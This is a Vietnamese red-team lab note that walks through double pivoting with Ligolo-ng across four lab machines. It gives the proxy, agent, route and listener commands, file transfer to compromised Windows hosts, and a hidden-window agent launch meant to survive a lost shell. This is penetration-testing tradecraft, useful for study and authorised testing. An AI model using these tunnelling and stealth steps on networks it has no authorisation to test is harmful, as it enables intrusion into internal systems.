> For the complete documentation index, see [llms.txt](https://duc193.gitbook.io/notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://duc193.gitbook.io/notes/redteam/double-pivoting-with-ligolo-ng.md).

# Double Pivoting with Ligolo-ng

Khi pentest mạng internal thì chúng ta sẽ gặp các máy không ra được net, chỉ truy cập được internal với nhau. Và có thể chain 2-3 máy lại để connect với nhau,...

Giả sử có 4 máy như sau :&#x20;

```shellscript
KALI : Máy Kali
Ra được mạng và connect được tới máy Ubuntu

Ubuntu : Máy Ubuntu
Ko ra được mạng, chỉ connect được tới Kali và WIN01 

WIN01 : Máy Windows

Ko ra được mạng, chỉ connect được tới WIN02, Ubuntu

WIN02 : Máy Windows
Ko ra được mạng, chỉ connect được tới WIN01 
```

```bash
KALI
-------
NAT         : DHCP (Internet)
VMnet2      : 10.10.10.10/24


Ubuntu
---------
VMnet2      : 10.10.10.20/24
VMnet3      : 172.16.1.1/24


WIN01
-------
VMnet3      : 172.16.1.10/24
VMnet4      : 172.16.2.1/24


WIN02
-------
VMnet4      : 172.16.2.10/24
```

Vậy chúng ta muốn từ máy **KALI** có thể truy cập được **WIN02** thì phải double pivoting. Dùng [ligolo](https://github.com/sysdream/ligolo) để pivoting.

Release : <https://github.com/nicocha30/ligolo-ng/releases>

Download Proxy Linux (máy **KALI**) :

<https://github.com/nicocha30/ligolo-ng/releases/download/v0.8.3/ligolo-ng_proxy_0.8.3_linux_amd64.tar.gz>

Downnload Agent :&#x20;

* [Windows](https://github.com/nicocha30/ligolo-ng/releases/download/v0.8.3/ligolo-ng_agent_0.8.3_windows_amd64.zip)
* [Linux](https://github.com/nicocha30/ligolo-ng/releases/download/v0.8.3/ligolo-ng_agent_0.8.3_linux_amd64.tar.gz)

## Pivoting 1

Đầu tiên thì chúng ta sẽ tạo tunnel đi qua **Ubuntu**, giúp máy **KALI** access được tới **WIN01**

Install :&#x20;

```bash
mkdir ligolo_server && cd ligolo_server 
wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.8.3/ligolo-ng_proxy_0.8.3_linux_amd64.tar.gz
tar -xzf ligolo-ng_proxy_0.8.3_linux_amd64.tar.gz
chmod +x proxy
```

Config

```bash
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
```

Chạy&#x20;

```bash
./proxy --selfcert --laddr 0.0.0.0:11601
```

Download agent linux để transfer qua **Ubuntu**&#x20;

```bash
mkdir ligolo_agent && cd ligolo_agent 

wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.8.3/ligolo-ng_agent_0.8.3_linux_amd64.tar.gz
tar -xzf ligolo-ng_agent_0.8.3_linux_amd64.tar.gz
```

Sau khi download agent về máy **Ubuntu** thì chạy&#x20;

```bash
chmod +x agent
./agent -connect 10.10.10.10:11601 -ignore-cert
```

<figure><img src="/files/BmywXje7sfc3zCnjr9v5" alt=""><figcaption></figcaption></figure>

Sau đó ở cửa sổ ligolo chọn session **Ubuntu**&#x20;

<figure><img src="/files/7mfgDqNeaXsSfILeE9iQ" alt=""><figcaption></figcaption></figure>

Vô chạy start

```bash
[Agent : duc193@ubuntu] » start
INFO[0541] Starting tunnel to duc193@ubuntu (000c297cbd01) 
```

Add route (`172.16.1.0` là **Network Address** giúp truy cập cùng dải mạng `172.16.1.x`) :&#x20;

```shellscript
sudo ip route add 172.16.1.0/24 dev ligolo
```

Vậy là từ **KALI** đã ping được tới **WIN01**

<figure><img src="/files/VUbMqJOv3Kd95rghOcAn" alt=""><figcaption></figcaption></figure>

## Pivoting 2

### Download file

Giờ kéo `agent.exe` sang **WIN01**

```bash
mkdir ligolo_agent && cd ligolo_agent 

wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.8.3/ligolo-ng_agent_0.8.3_windows_amd64.zip
unzip ligolo-ng_agent_0.8.3_windows_amd64.zip
```

Do **WIN01** ko nhìn thấy **KALI**, có thể dùng ligolo để tunnel cho máy **WIN01** nhìn thấy máy **KALI** để download file để priv es

Chạy trong ligolo

```bash
listener_add --addr 0.0.0.0:7001 --to 127.0.0.1:8001
```

Thì lệnh này là chạy trên session của Ubuntu. Sẽ nhận luồng input từ `0.0.0.0:7001` ở máy **Ubuntu** và sẽ bị proxy qua `127.0.0.1:8001` của **KALI.**

Sau đó ở **WIN01** access tới `172.16.1.1:7001` (port 7001 của **Ubuntu** thì sẽ được proxy qua port 8001 của máy **KALI** )

Vậy chỉ cần mở port http ở port **8001** của **KALI** thì WIN01 sẽ access được từ `172.16.1.1:7001`

```bash
# KALI - đứng trong folder có agent.exe
python3 -m http.server 8001
```

```bash
iwr http://172.16.1.1:7001/agent.exe -OutFile C:\Windows\Temp\agent.exe
```

### Pivoting

Sau khi download xong, ở console ligolo ở máy **KALI** (session **Ubuntu**) chạy

```bash
listener_add --addr 0.0.0.0:11601 --to 127.0.0.1:11601
```

(Lệnh này để mở thêm port `11601` của **Ubuntu** proxy về `10.10.10.10:11601` tức là ligolo server)

Ở máy **KALI** tạo **TUN** cho pivot thứ 2 (`ligolo2`)

```bash
# KALI - tạo TUN riêng cho pivot 2
sudo ip tuntap add user $(whoami) mode tun ligolo2
sudo ip link set ligolo2 up
```

Sau đó trên **WIN01** connect tới

```bash
.\agent.exe -connect 172.16.1.1:11601 -ignore-cert
```

<figure><img src="/files/KKDZ3ATpuNXBQNtsMBuq" alt=""><figcaption></figcaption></figure>

Rồi bên **KALI**  vô sesion, chọn Window rồi chạy `start` , add thêm Network máy **WIN01** vào `ligolo2`

```shellscript
session
# Chọn WIN01
start --tun ligolo2
```

```bash
sudo ip route add 172.16.2.0/24 dev ligolo2
```

Và vậy là từ **KALI** đã ping được **WIN02**

<figure><img src="/files/OYun0YwI5cWk4x3SRdDx" alt=""><figcaption></figcaption></figure>

Giờ để cho **WIN02** nhìn lại được **KALI** thì&#x20;

```bash
python3 -m http.server 3636
```

Trong session của **WIN01** (ở ligolo) tạo tunnel port 7001 của máy **WIN01** proxy về máy **KALI** port 3636

```bash
listener_add --addr 0.0.0.0:7001 --to 127.0.0.1:3636
```

Vậy là **WIN02** đã download được file từ **KALI**

<figure><img src="/files/C5VGINj6MWDnoDl5txFs" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/T0t9grxmqGBkuX53tUA4" alt=""><figcaption></figcaption></figure>

Và nếu muốn pivot thêm thì cứ làm tiếp tục theo pivoting 2 là được

> Note : Có thể chạy agent ở termux, window thì dùng Hidden để chạy ngầm đỡ bị disconnect khi mất shell.
>
> ```powershell
> Start-Process -FilePath "C:\Windows\Temp\agent.exe" -ArgumentList "-connect 172.16.1.1:11601 -ignore-cert -retry" -WindowStyle Hidden
> ```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://duc193.gitbook.io/notes/redteam/double-pivoting-with-ligolo-ng.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
